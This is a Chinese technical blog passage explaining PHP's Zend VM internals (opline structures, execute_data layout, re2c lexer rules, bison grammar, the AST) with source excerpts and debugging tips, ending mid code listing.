这一路看来,我早已经陷入php的魅力无法自拔。不知道在这篇文章面前的你们,是否也曾有过像我那般想要领略php神秘内部的冲动?有些人却忘而生畏,无从下手。希望你们读完此篇,能点燃那颗微弱甚至熄灭的向往,或者是在你们的冲动上再加一把火。读完之后若有所感,便是对本文最大的肯定了。

0x01 概述

php 是一门针对web的专属语言,但是随着这么长时间发展,其实已经可以用php做很多事了,甚至语法结构的复杂度在趋近于java,还有即将出来的JIT,php的未来变的很难说。

尽管如此php还是一门解释型语言。解释型语言相对于静态编译型语言最大的特点就是他有一个特殊的解释器。利用解释器去执行相应的操作,例如php代码是不会再去被翻译成机器语言再去执行的。

例如在php 中

1
2
3
<?php
$a = 1+1;
?>

那么在相应的解释器里面比如存在,一个与之相对应的解释过程,可能是一个函数例如

1
2
3
int add(int a, int b){
return a+b;
}

在这里面就仅需要调用这个add函数去解释这个加法表达式的赋值过程。那么问题来了php的解释器是怎样的一种呈现过程呢?由此引出php的核心ZendVM(虚拟机)。

如果想要弄清楚我们写的phpCode最后是如何被正确的运行的,就需要去了解Zend VM到底做了什么?也正是因为ZendVM赋予了php跨平台的能力。所以相同的phpCode可以不需要修改就运行在处于不同平台的解释器上。这一点需要知道。

其实虚拟机大多都一样,都是模拟了真实机器处理过程。不同是的运算符,数据类型的定义存在差异。在具体的语法逻辑结构上,大多都大同小异,例如if,switch,for这些流程控制,还有在函数的调用上。所以在探究一个虚拟机的内部结构时,你需要有一个明确的目标:

  • 虚拟机内部用来描述整个执行过程的指令集。
  • 单个指令对应的解释过程。

清楚以上两点,再来探究ZendVM。同样ZendVM有编译和执行两个模块。编译过程就是将phpCode编译为ZendVM内部定义好的一条一条的指令集合,再通过执行器去一步一步的解释指令集合。

单条的指令在php里面被称为"opline",指令的定义内容可以结合汇编的相关知识理解。例如汇编语言中

1
2
add eax,edx
jmp 10000

其中有两个关键字add和jmp,这是汇编语言内部定义的指令集合中的两个。同样在php也有像类似的指令关键字叫做opcode,指令关键字后面是改指令处理的数据,简称为操作数。单条指令可能有两个操作数op1,op2,也可能只有一个op1,也可能存在一个操作数都没有的情况,但至多只有两个操作数。那么指令是如何使用操作数,首先必须知道它的类型和具体的数据内容。这里可以具体看一下ZendVM内部定义的单条opline结构:

Opline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _zend_op {
const void *handler;
znode_op op1;
znode_op op2;
znode_op result;
uint32_t extended_value;
uint32_t lineno;
zend_uchar opcode;
zend_uchar op1_type;
zend_uchar op2_type;
zend_uchar result_type;
};

typedef struct _zend_op zend_op;

可以看到不仅有两个操作数的op1和op2的定义,还有一个result变量,这个是变量是标识单条opline执行的返回值,当出现使用函数返回值赋值时,多个变量连续赋值,变量赋值出现在if判断语句里面时,在这几种情况下result变量就会被用到。

如果有想看到底定义了哪些opcode的同学,可以在zend/zend_vm_opcodes.h里面去看,本文使用的php版本为7.4.0-dev,一共有199条opcode。

下面简单解释一下,zend_op这个结构里面znode_op,zend_uchar这些结构的含义。可以看到一个操作数是有前面这两种结构定义的相关变量,分别指向的是操作数内容和操作数类型,操作数的类型可以分为下面5种

1
2
3
4
5
#define IS_UNUSED	0		/* Unused operand */
#define IS_CONST (1<<0)
#define IS_TMP_VAR (1<<1)
#define IS_VAR (1<<2)
#define IS_CV (1<<3) /* Compiled variable */
  • UNUSED 表示这个操作数并未使用
  • CONST 表示操作数类型是常量。
  • TMP_VAR为临时变量,是一种中间变量。出现再复杂表达式计算的时候,比如在进行字符串拼接(双常量字符串拼接的时候是没有临时变量的)。
  • VAR 一种PHP内的变量,大多数情况下表示的是单条opline的返回值,但是并没有显式的表现出来,列如在if判断语句包含某个函数的返回值,if(random()){},在这种情况下random()的返回值就是VAR变量类型。
  • CV变量,是在php代码里面显式的定义的出来的变量例如$a等。

Znode_op

接下来是操作数的内容znode_op

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef union _znode_op {
uint32_t constant;
uint32_t var;
uint32_t num;
uint32_t opline_num; /* Needs to be signed */
#if ZEND_USE_ABS_JMP_ADDR
zend_op *jmp_addr;
#else
uint32_t jmp_offset;
#endif
#if ZEND_USE_ABS_CONST_ADDR
zval *zv;
#endif
} znode_op;

znode_op其实一个union结构。其实可以分为两种情况来谈,相对寻址和绝对寻址。从定义的宏分支里面也可以看出来。这里就需要先介绍一下,关于opline里面的操作数是在哪分配的。先引出我们的zend_op_array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _zend_op_array {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
/* END of common elements */

int cache_size; /* number of run_time_cache_slots * sizeof(void*) */
int last_var; /* number of CV variables */
uint32_t T; /* number of temporary variables */
uint32_t last; /* number of opcodes */

zend_op *opcodes;
ZEND_MAP_PTR_DEF(void **, run_time_cache);
ZEND_MAP_PTR_DEF(HashTable *, static_variables_ptr);
HashTable *static_variables;
zend_string **vars; /* names of CV variables */

uint32_t *refcount;

int last_live_range;
int last_try_catch;
zend_live_range *live_range;
zend_try_catch_element *try_catch_array;

zend_string *filename;
uint32_t line_start;
uint32_t line_end;
zend_string *doc_comment;

int last_literal;
zval *literals;

void *reserved[ZEND_MAX_RESERVED_RESOURCES];
};

zend_op_array是包含编译过程中产生的所有单个opline的集合,不仅仅包含opline的集合数组同样,还含有其他在编译过程动态生成的关键数据,这里先简单介绍一下其中几种。

  • vars变量包含CV变量名的指针数组。CV变量前面也已经提到过了就是,由$定义的php变量。这里的vars相当于一张CV变量名组成的表,是不存在重复变量名的,对应的变量值存储在另外一个结构上。
  • last_var 表示最后一个CV变量的序号。其实也可以代表CV变量的数量。
  • literals 是存储编译过程中产生的常量数组。根据编译过程中依次出现的顺序,存放在该数组中
  • last_literal表示当前储存的常量的数量。
  • T 表示的是TMP_VAR和VAR的数量。

Zend_execute_data

以上就是操作数部分信息储存的地方。可以看到在zend_op_array里面仅分配了CV变量名数组,但是这里面并没有储存CV变量值的地方,同样TMP_VAR和VAR变量亦是如此,也只有一个简单数量统计。对应的变量值储存在另外一个结构上,那么他们的具体的值应该在什么样的结构上分配呢?接着又引出了zend_execute_data结构。

1
2
3
4
5
6
7
8
9
10
11
12
struct _zend_execute_data {
const zend_op *opline; /* executed opline */
zend_execute_data *call; /* current call */
zval *return_value;
zend_function *func; /* executed function */
zval This; /* this + call_info + num_args */
zend_execute_data *prev_execute_data;
zend_array *symbol_table;
#if ZEND_EX_USE_RUN_TIME_CACHE
void **run_time_cache; /* cache op_array->run_time_cache */
#endif
};

zend_execute_data相当于在执行编译oplines的Context(上下文),是通过具体的某个zend_op_array的结构信息初始化产生的。所以一个zend_execute_data对应一个zend_op_array,这个结构用来存储在解释运行过程产生的局部变量,当前执行的opline,上下文之间调用的关系,调用者的信息,符号表等。所以我们想要知道的CV变量,TMP_VAR, VAR变量其实是分配在这个结构上面的,而且还是动态分配紧挨在这个结构后面的。接下来看一看这些变量是怎么依附在这个结构后面的。

关于分配顺序,首先是分配CV变量,然后就是依次出现的VAR,TMP_VAR变量。关于在动态分析取这个局部变量区里面的值时,需要注意几点,网上基本都是千篇一律的 (zval *)(((char *)(execute_data))+96)这样去取第一个值对吧,其实有时候你发现你取的根本不正确,需要注意的是:

  • sizeof(zend_execute_data) 需要注意的是你用的php版本中zend_execute_data 结构的大小,其实有时候并不是96,我这里就是72。动态分配的变量在zend_execute_data结构的末尾,所以你需要提前知道这个结构的大小。
  • 如果你傻乎乎现在又+72,你发现取的是不对的,明明是在zend_data结尾取的值,为什么还是还不对?这过程需要注意的是,这中间存在一个16的对齐过程,如下,zend_execute_data分配的大小是按照sizeof(zval)的整数倍来分配的,即16对齐。

1
2
3
4
5
6
7
8
9
10
11
12
#define ZEND_CALL_FRAME_SLOT \
((int)((ZEND_MM_ALIGNED_SIZE(sizeof(zend_execute_data)) + ZEND_MM_ALIGNED_SIZE(sizeof(zval)) - 1) / ZEND_MM_ALIGNED_SIZE(sizeof(zval))))

static zend_always_inline uint32_t zend_vm_calc_used_stack(uint32_t num_args, zend_function *func)
{
uint32_t used_stack = ZEND_CALL_FRAME_SLOT + num_args;

if (EXPECTED(ZEND_USER_CODE(func->type))) {
used_stack += func->op_array.last_var + func->op_array.T - MIN(func->op_array.num_args, num_args);
}
return used_stack * sizeof(zval);
}

综上大概明白了CV变量,TMP_VAR变量,VAR变量储存位置,再来谈opline中操作数内容如何获取。

  • 可以通过znode_op.var , znode_op.constant 来相对寻址,var代表是CV,TMP_VAR,VAR相对位置,即这里就是0x50,0x60,0x70这样相对于zend_execute_data结构起始地址。一般情况下是这样表示的
  • 同样也可以直接寻址直接用zval *指针寻址
  • 在jmp 跳转里面也存在直接跳转和间接跳转。

你会发现这里面没有讲到opline里面handler字段,关于opline中 handler的具体细节会在后面详细介绍。概要也差不多介绍到这里,主要需要对这些经常用到结构有一个印象(zend_op,znode, opcode_array,execute_data)。下面就开始具体的介绍细节的实现过程,这些结构具体应用在哪些地方。

0x02 编译过程

整个编译过程是整个PHP代码范围的从开始到结束,在PHP里面没有main函数一说,直接从头编译到尾,其实从到开始到结尾已经算是main函数的范围了,除了函数,类的定义以外。编译的结果是一条一条对应的opline集合。编译原理其实和大多数语言的编译器一样,都需要进行词法分析和语法分析。PHP开始阶段也是如此,在php7.0的版本中在这个两个步骤之后增加了一步生成AST语法树,目的是将PHP的编译过程和执行过程解耦。抽象语法树就处于了编译器和执行器的中间,如果只需要调整相关的语法规则,仅仅需要修改编译器生成抽象语法树的相关规则就行,抽象语法树生成的opline不变。相反你修改新的opcode但是语法规则并不变,只需要修改抽象语法树编译成opline的过程即可。

词法分析过程就是一个把PHP代码拆分的过程,按照定义好的token去匹配分割。词法分析就是将分割出来的token再按照语法规则重新组合到一起。PHP内词法分析和语法分析分别使用的是re2c和yacc来完成的。其实准确来说一个应该是re2c和bison。

在研究和探索这个方面的同学一定要注意,不要去细看经过re2c和bison预处理生成的.c文件。这部分都是自动生成,看起来其实有点费时费力也毫无意义。但是你可以对比起来看,最重要是明白re2c和yacc的语法,如果你想要了解这个过程真正做了什么。

re2c

首先从大的方向来看re2c就是一个用正则来分割token的东西,将我们的php代码分割一个个在php代码里面会用到的关键字或者是关键符号,如果你想快速的了解是如何分割token的,其实也不用去看re2c的处理过程。可直接用php 的内置函数token_get_all,通过传入指定的php代码,将会指定的token数组,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
var_dump(token_get_all('<?php print(1);'));

array(6) {
[0] =>
array(3) {
[0] =>
int(379)
[1] =>
string(6) "<?php "
[2] =>
int(1)
}
[1] =>
array(3) {
[0] =>
int(266)
[1] =>
string(5) "print"
[2] =>
int(1)
}
[2] =>
string(1) "("
[3] =>
array(3) {
[0] =>
int(317)
[1] =>
string(1) "1"
[2] =>
int(1)
}
[4] =>
string(1) ")"
[5] =>
string(1) ";"
}

可以看到是返回的token数组又是一个一个的数组单元,其中依次返回是token对应的整数值,token内容,行号。注意到其中有几个token ();并不是以数组返回的,而是是直接返回的内容,这里是因为;:,.\[\]()|^&+-/*=%!~$<>?@这样简单的单字符都是以原字符返回。如果想要得到token的标识符名称,可以通过token_name内置函数来转换。如果有同学知道php-parser的话,其实php-parser中的lexer也是应用这两个内置函数,php-parser是一个很不错的工具,可以解决绝大部分在php层面上的混淆,后面会简单的介绍一下。

具体去看看用re2c写的语法,其实你会发现其实可以解决很多在你心中的困惑,php里面对应的lexer函数是lex_scan,re2c核心的语法也在其中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* php-src/Zend/zend_language_scanner.l lex_scan() */
/*!re2c
re2c:yyfill:check = 0;
LNUM [0-9]+
DNUM ([0-9]*"."[0-9]+)|([0-9]+"."[0-9]*)
EXPONENT_DNUM (({LNUM}|{DNUM})[eE][+-]?{LNUM})
HNUM "0x"[0-9a-fA-F]+
BNUM "0b"[01]+
LABEL [a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*
WHITESPACE [ \n\r\t]+
TABS_AND_SPACES [ \t]*
TOKENS [;:,.\[\]()|^&+-/*=%!~$<>?@]
ANY_CHAR [^]
NEWLINE ("\r"|"\n"|"\r\n")
...
*/

在这里我挑几处有意思的语法讲一讲,re2c并不是一个全自动的词法分析器,用户需要给它提供一些接口,这里的yyfill就是一个动态填充输入值的接口,在这里表示不需要在分割的过程中动态分配输入值,即不要考虑在扫描的过程中填充用来继续被分割的值,因为在获取文件内容的时候,是一次性把文件的全部内容映射到了内存中。有兴趣的同学可以去看一看open_file_for_scanning()中的具体实现过程。

re2c语法看起来是不是和正则特别像,其实就是正则,只不过是通过C中goto 和 switch 或者if语法组合起来呈现。从定义的字面类型来看,整形,浮点型,指数表示,十六进制,二进制等这些都是php可能会用到的数据类型,其中定义了LABEL类型,可能有些同学就不知道这是用来表示什么的,其实这就是php里面变量名的定义,除了不能用数字开头以外,你会发现php变量名竟然也可以用[\x80-\xff]这些ascii里面的扩展字符来定义变量名,其实这个东西已经应用到了一些php的变量名混淆上,你有时候可能会发现有些变量名根本不可读,可能就采用扩展字符来重新定义。细心的你可能会发现,在上面一行定义16进制和2进制这些转义类型的时候,用的是双引号,用双引号括起来的字符串,在re2c的语法里面表示是对大小写敏感,为什么这里是双引号呢?在php里面0Xff这样表示也是可以的,这就涉及到re2c预处理时候的传参了,关于re2c和bison在使用过程中指定的参数可以在/php-src/Zend/Makefile.fragments找到。里面re2c的参数选项里面多了一个--case-inverted大小写敏感的翻转,即现在是双引号表示对大小写不敏感。在后面也可看到是php对关键字的大小写都是不敏感的。

接着后面就是一个规则对应一个处理过程,一般的处理过程就是匹配规则,返回对应的token标识符。有一些会做特殊处理例如双引号单引号等这些包裹字符串的字符可能不会返回单字符,可能会接着扫描至完整的字符串,返回常量的token标志。可能有同学不理解每一个规则之前都有一部分用<>包裹的内容:

1
2
3
4
5
6
7
8
9
10
11
12
<INITIAL>"<?php"([ \t]|{NEWLINE}) {
HANDLE_NEWLINE(yytext[yyleng-1]);
BEGIN(ST_IN_SCRIPTING);
if (PARSER_MODE()) {
SKIP_TOKEN(T_OPEN_TAG);
}
RETURN_TOKEN(T_OPEN_TAG);
}

<ST_IN_SCRIPTING>"function" {
RETURN_TOKEN(T_FUNCTION);
}

这一部分表示lexer 当前状态,开始是<INITIAL>初始化状态,需要找到php代码的起始符,接着进入<ST_IN_SCRIPTING>状态,才会接着去扫描php代码内的token,相当于一种lexer的嵌套。lex_scan有两种返回方式,token的标识符会通过lex_token函数值返回。一些token仅需要返回token标识符就就够了,有一些需要返回token对应的具体的内容,内容的返回值是以抽象语法数的节点类型返回,通过在调用lex_scan时传递的elem参数,elem是个union结构

1
2
3
4
5
6
typedef union _zend_parser_stack_elem {
zend_ast *ast;
zend_string *str;
zend_ulong num;
} zend_parser_stack_elem;

把分割出来的token放到后面语法分析用来存储token的栈中,这个类型在yyac匹配语法时的指定为YYSTYPE,在匹配语法会根据定义的%type,转化为指定zend_parser_stack_elem中的一种类型。到此re2c也再无神秘之处,理一下大概可分为,正则规则对应处理过程,在处理的过程中一定会返回token,可能会切换lexer的状态或者返回具体的token内容。其中还有一个SCNG宏,是对定义的scanner_global全局变量的取值操作。这个变量结构如下包含了lexer当前处理的指针位置,状态,结束指针,记录的最后一次token位置等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct _zend_php_scanner_globals {
zend_file_handle *yy_in;
zend_file_handle *yy_out;

unsigned int yy_leng;
unsigned char *yy_start;
unsigned char *yy_text;
unsigned char *yy_cursor;
unsigned char *yy_marker;
unsigned char *yy_limit;
int yy_state;
zend_stack state_stack;
zend_ptr_stack heredoc_label_stack;
zend_bool heredoc_scan_ahead;
int heredoc_indentation;
zend_bool heredoc_indentation_uses_spaces;

/* original (unfiltered) script */
unsigned char *script_org;
size_t script_org_size;

/* filtered script */
unsigned char *script_filtered;
size_t script_filtered_size;

/* input/output filters */
zend_encoding_filter input_filter;
zend_encoding_filter output_filter;
const zend_encoding *script_encoding;

/* initial string length after scanning to first variable */
int scanned_string_len;

/* hooks */
void (*on_event)(zend_php_scanner_event event, int token, int line, void *context);
void *on_event_context;
};

yacc && bison

接下来就是yacc语法分析器,yacc对应的功能函数在php里面为zendparse(),这个函数其实预处理自动生成的,在这个函数通过不断的调用lex_scan返回token,根据定义的语法规则动态的生成抽象语法数,挑出一些有代表性的yacc语法规则来描述一下

1
2
3
4
5
6
7
8
%left '|'
%left '^'
%left '&'
%nonassoc T_IS_EQUAL T_IS_NOT_EQUAL T_IS_IDENTICAL T_IS_NOT_IDENTICAL T_SPACESHIP
%nonassoc '<' T_IS_SMALLER_OR_EQUAL '>' T_IS_GREATER_OR_EQUAL
%left T_SL T_SR
%left '+' '-' '.'
%left '*' '/' '%'

这里定义的是运算符类的token的优先级和结合性。后定义的优先级要高,在同行定义的优先级相同,结合性就看是%left还是%right,%left代表从左到右,同理%right反之,其实结合性就相当于同级之间的优先级。这些都会在yacc状态机里面体现出来。

1
2
3
4
5
6
7
8
9
%token <ast> T_LNUMBER   "integer number (T_LNUMBER)"
%token <ast> T_DNUMBER "floating-point number (T_DNUMBER)"
%token <ast> T_STRING "identifier (T_STRING)"
%token <ast> T_VARIABLE "variable (T_VARIABLE)"
%token <ast> T_INLINE_HTML
%token <ast> T_ENCAPSED_AND_WHITESPACE "quoted-string and whitespace (T_ENCAPSED_AND_WHITESPACE)"
%token <ast> T_CONSTANT_ENCAPSED_STRING "quoted-string (T_CONSTANT_ENCAPSED_STRING)"
%token <ast> T_STRING_VARNAME "variable name (T_STRING_VARNAME)"
%token <ast> T_NUM_STRING "number (T_NUM_STRING)"

%token开头定义的表示语法规则里面会用到的token,也是语法规则的终结符。其中<ast> 表示在使用token时候会进行类型的转换,所有的token类型定义在YYSTYPE中,这个结构前面也说过了是一个联合体,在yacc自动的生成yyparse函数下,获取的token对应的内容会保留在yylval中,所以在使用的时候,会进行yylval.ast类似的操作。

1
2
3
4
5
6
7
8
9
10
11
12
%type <ast> top_statement namespace_name name statement function_declaration_statement
%type <ast> class_declaration_statement trait_declaration_statement
%type <ast> interface_declaration_statement interface_extends_list
%% /* Rules */
start:
top_statement_list { CG(ast) = $1; }
;

top_statement_list:
top_statement_list top_statement { $$ = zend_ast_list_add($1, $2); }
| /* empty */ { $$ = zend_ast_create_list(0, ZEND_AST_STMT_LIST); }
;

%type定义就是非终结符,非终结字符常常是自己和token组合在一起的递归嵌套符。同样它也有类型的定义<ast>。后面就是描述非终结字符是如何嵌套的,有一个特殊的start节点,yacc在开始扫描语法的规则的时候只关注它,相当于入口点。可以看到起始是以top_statement_list标识符,它是可以为空的,所以每次语法扫描的第一步就是CG(ast) = zend_ast_create_list(0, ZEND_AST_STMT_LIST),建立一个根节点,但是这个根节点也不做。如果你真的想看看yacc内部扫描语法的,不要去看经过bison预处理之后的.c文件,同级目录下有一个.output后缀相同文件名的文件,里面描述了yacc里面的状态机是如何工作的。可能还是有点看不懂,重新拿bison处理一遍,把trace打开,再重新把php编译一遍,再用php运行代码的过程中就会输出状态机的状态和转移。

1
bison -p zend -v -d -t $(srcdir)/zend_language_parser.y -o zend_language_parser.c

最好用bison的版本和你在看php版本使用的相同,在zend_language_parser.c中开头会显示bison的版本,翻译完成替换原来的zend_language_parser.czend_language_parser.h,这个时候需要再处理一下,再加点东西,在输出debug过程中,它不会自己输出相对于的token的值,因为前面说道过了token的值类型是zend_parser_stack_elem,是我们自定义的,同样如果我们想要打印token具体的值,需要自己提供接口,yacc也一个宏YYPRINT,在这里可以不用为它这个宏提供个函数。如果你只想看每次从lex_scan拿来的token对应的内容是什么,可以这样写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void
yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep)
{
YYFPRINTF (yyoutput, "%s %s (",
yytype < YYNTOKENS ? "token" : "nterm", yytname[yytype]);
char *ztext = LANG_SCNG(yy_text); //+
unsigned int zlen = LANG_SCNG(yy_leng);//+
unsigned int i = 0;//+
for(i;i<zlen;i++){//+
php_printf("%c",*(ztext+i));//+
}+
//yy_symbol_value_print (yyoutput, yytype, yyvaluep);//-
YYFPRINTF (yyoutput, ")");
}

添加里面其中一段代码就行,把yy_symbol_value_print注释掉,这是在用bison预处理之后在zend_language_parser.c里面添加的哦。你会发现这样做,不仅不仅在从lex_scan拿到token会用到这个函数,后面语法规则匹配以后也会用这个函数来输出匹配字符的token值,这样会导致一直输出同样的token值,直到下次再次从lex_scan中拿到新token值。再稍微改一下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static void
yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep)
{
FILE *yyo = yyoutput;
YYUSE (yyo);
if (!yyvaluep)
return;
# ifdef YYPRINT
if (yytype < YYNTOKENS){
zval sym;
sym =((zend_ast_zval *)(yyvaluep->ast))->val;
switch(yytoknum[yytype]){
case 317:
php_printf("%d",sym.value.lval);
break;
case 325:
if (sym.u1.v.type==IS_LONG){
php_printf("%d",sym.value.lval);
break;
}
case 321:
case 323:
for(int i=0;i<(sym.value.str)->len;i++){
php_printf("%c",*(((sym.value.str)->val)+i));
}
break;
case 318:
php_printf("%d",sym.value.dval);
break;
default:
php_printf("%d",yytoknum[yytype]);
}
}
# endif
YYUSE (yytype);
}

注意这次改的地方是yy_symbol_value_print,记得要在前面在简单定义一下YYPRINT这个宏,因为需要yytoken这个映射表,这里根据映射表返回的token数字量,token的数字量在zend_language_parser.h定义,判断token类型,可以看到带返回值的token其实也只有三种,IS_SRTING,IS_LONG,IS_DOUBLE。字符串类型上出现了3个不一样的token,323就是字符串常量,321也好理解内联的php标签外的html字符串。这个325处T_NUM_STRING有点意思,我这地方发现了php一个一直存在的语法错误?可以看到其实这个token的返回值zval有两种不同的类型整形和字符串。具体的我们去看看re2c是怎么匹配返回这个token的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<ST_VAR_OFFSET>[0]|([1-9][0-9]*) { /* Offset could be treated as a long */
if (yyleng < MAX_LENGTH_OF_LONG - 1 || (yyleng == MAX_LENGTH_OF_LONG - 1 && strcmp(yytext, long_min_digits) < 0)) {
char *end;
errno = 0;
ZVAL_LONG(zendlval, ZEND_STRTOL(yytext, &end, 10));
if (errno == ERANGE) {
goto string;
}
ZEND_ASSERT(end == yytext + yyleng);
} else {
string:
ZVAL_STRINGL(zendlval, yytext, yyleng);
}
RETURN_TOKEN_WITH_VAL(T_NUM_STRING);
}


<ST_VAR_OFFSET>{LNUM}|{HNUM}|{BNUM} { /* Offset must be treated as a string */
if (yyleng == 1) {
ZVAL_INTERNED_STR(zendlval, ZSTR_CHAR((zend_uchar)*(yytext)));
} else {
ZVAL_STRINGL(zendlval, yytext, yyleng);
}
RETURN_TOKEN_WITH_VAL(T_NUM_STRING);
}

<ST_DOUBLE_QUOTES,ST_HEREDOC,ST_BACKQUOTE>"$"{LABEL}"[" {
yyless(yyleng - 1);
yy_push_state(ST_VAR_OFFSET);
RETURN_TOKEN_WITH_STR(T_VARIABLE, 1);
}

可以看到匹配返回这个token必须得在"$a[offset]"得在这种类似的情况才行,而且得在双引号或者<<<或者反引号的包裹下,就是能进行字符串转义。在匹配offset内容的时候,第一条规则是匹配10进制的纯数字,第二条规则是匹配00x0b这样开头不同进制的数字类型。这样看来是比较合理的,在offset的选择上是支持不同进制的,但是在处理上确是不一样的。例如我下面的PHP代码

1
2
3
<?php
$a="123456";
echo "$a[0x2]";

在语法上是通过的,但是出现结果确是不一样的。对应的opcode为FETCH_DIM_R !0 , '0x2',操作数1是CV变量,操作数为CONST字面量,找到相应的hanlder

1
ZEND_FETCH_DIM_R_SPEC_CV_CONST_HANDLER()

这里我不再累赘,只看最后的处理,具体的调用栈如下

1
2
3
4
5
6
7
8
9
10
#0  is_numeric_string (str=0x7ffff5402b58 "0x2", length=0x3, lval=0x0, dval=0x0, allow_errors=0xffffffff) at /root/php-src/Zend/zend_operators.h:142
#1 0x0000555555b99d9b in zend_fetch_dimension_address_read (result=0x7ffff541f090, container=0x7ffff541f070, dim=0x7ffff54824b0, dim_type=0x8, type=0x0, support_strings=0x1, slow=0x1) at /root/php-src/Zend/zend_execute.c:1882
#2 0x0000555555b9a285 in zend_fetch_dimension_address_read_R_slow (container=0x7ffff541f070, dim=0x7ffff54824b0) at /root/php-src/Zend/zend_execute.c:1971
#3 0x0000555555bede6a in ZEND_FETCH_DIM_R_SPEC_CV_CONST_HANDLER () at /root/php-src/Zend/zend_vm_execute.h:39187
#4 0x0000555555c0a694 in execute_ex (ex=0x7ffff541f020) at /root/php-src/Zend/zend_vm_execute.h:59035
#5 0x0000555555c0b971 in zend_execute (op_array=0x7ffff5482300, return_value=0x0) at /root/php-src/Zend/zend_vm_execute.h:60223
#6 0x0000555555b3a65d in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /root/php-src/Zend/zend.c:1608
#7 0x0000555555aaa5a7 in php_execute_script (primary_file=0x7fffffffdd80) at /root/php-src/main/main.c:2643
#8 0x0000555555c0e3f9 in do_cli (argc=0x2, argv=0x55555654b060) at /root/php-src/sapi/cli/php_cli.c:997
#9 0x0000555555c0f379 in main (argc=0x2, argv=0x55555654b060) at /root/php-src/sapi/cli/php_cli.c:1390

最后是用is_numeric_string处理的我们的0x2偏移量,这个过程竟然只是一个php内部弱类型转换,从字符串到数值的类型转换,也就是说并不会对除10进制以外的数字变量进行转换。其他进制的数字串永远置零,那在语法上为什么还要匹配呢? php内部是有一个zend_strtod,却并没有在此处使用,明显的handler没有与语法对应上。php7.0在此处会给出警告,5.x版本不会给警告,但是结果依然都是错的。。。

上面相当于一个小插曲。yacc和re2c的介绍到这里也差不多了,也应该可以上手改一改语法了吧,在这里再讲一个有趣的语法结构print,我不知道有多少人看过鸟哥博客那段

1
print(1) && print(2) && print(3) && print(4);

在不运行之前,你是否知道它的结果?你可以先不看下面的解答,先自己想想为什么会这样?

其实这个问题需要在语法分析这个阶段来看,可以先去yacc里面关于print的语法结构。

1
expr : T_PRINT expr { $$ = zend_ast_create(ZEND_AST_PRINT, $2); }

可以看到T_PRINT 是在expr递归的语法里面的,T_PRINT左边是expr,无论多么复杂最后都会递归成最后一个expr,并且T_BOOLEAN_AND (&&)优先级 大于 T_PRINT,且T_BOOLEAN_AND (&&)结合性是从左到右。

1
2
3
4
5
6
7
8
9
10
11
停止递归的点
expr1 : print (4) // expr:T_PRINT expr:scalar
expr2 : 3 && expr1 // expr: expr '&&' expr
expr3 : print expr2 // expr:T_PRINT expr
expr4 : 2 && expr2 // expr:expr '&&' expr
expr5 :print expr4 // expr:T_PRINT expr
expr6 : 1 && expr5 // expr:expr '&&' expr
expr7 : print expr6 //expr: T_PRINT expr
statement1 : expr7 ; // statement: expr ';'
top_statement1: statement1 // op_statement : statement
top_statement_list: top_statement_list top_statement1 // zend_ast_list_add($1, $2);

简单的写了一遍yacc状态机走的过程,现在看起来应该再清晰不过了吧。print这个语法结构应该是最像function的一个结构。如果有兴趣也可以去分析分析echoinclude 这些语法结构。

yacc和re2c到这里真的就结束了。抽象语法树其实是和它们耦合在一起的,虽然把编译器和执行器隔开了。re2c在返回的token对应的值的时候,就是以抽象语法树节点返回的。再通过yacc语法分析进一步建立完整的抽象语法树。

0X03 抽象语法树AST

通用的普通节点为:

1
2
3
4
5
6
struct _zend_ast {
zend_ast_kind kind; /* 节点类型*/
zend_ast_attr attr; /* 附加属性 */
uint32_t lineno; /* 行号 */
zend_ast *child[1]; /* 子节点 */
};

注意这个的child[1],并不是表示是一个节点,类似于zval_string里面的val[1],节点地址连续分配在zend_ast结构末尾。根据 kind 类型转换为其他类型节点,具体的类型和对应的结构在/Zend/zend_ast.h里面定义。常用的下面两个节点类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _zend_ast_list {
zend_ast_kind kind;
zend_ast_attr attr;
uint32_t lineno;
uint32_t children; /*子节点数*/
zend_ast *child[1];
} zend_ast_list;

/* Lineno is stored in val.u2.lineno */
typedef struct _zend_ast_zval {
zend_ast_kind kind;
zend_ast_attr attr;
zval val; /*节点zval值*/
} zend_ast_zval;

抽象语法的节点类型,也没什么特别的。前面也说提到过整个抽象语法树根节点zend_ast_stmt_list定义在CG(ast),中,CG是个访问编译全局变量的宏。有的同学可能会想看看既然是抽象语法树,肯定想看一看它在视图上是怎么呈现的,有办法。这里分享一个将php-parser处理过得到的抽象语法树可视化的东西。 https://github.com/ircmaxell/php-ast-visualizer 原本想自己写个扩展来动态显示抽象语法树,意外看到这个工具其实也没什么必要了。抽象语法数的建立是php静态分析里面重要的一环。

0x04 抽象语法树2Oplines

接下来就是如何将抽象语法数如何编译成我们期待已久的opline。这也是解释型语言和静态编译型语言不同的一点,编译出来的不是汇编语言,而是ZendVM可以识别的中间指令。前面也简单解释了一遍opline,一条opline和汇编语言类似,指令标识符opcode,操作数1和操作2。 编译抽象语法树发生在yacc的 zendparse()结束之后,同样在zend_compile里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (!zendparse()) {
int last_lineno = CG(zend_lineno);
zend_file_context original_file_context;
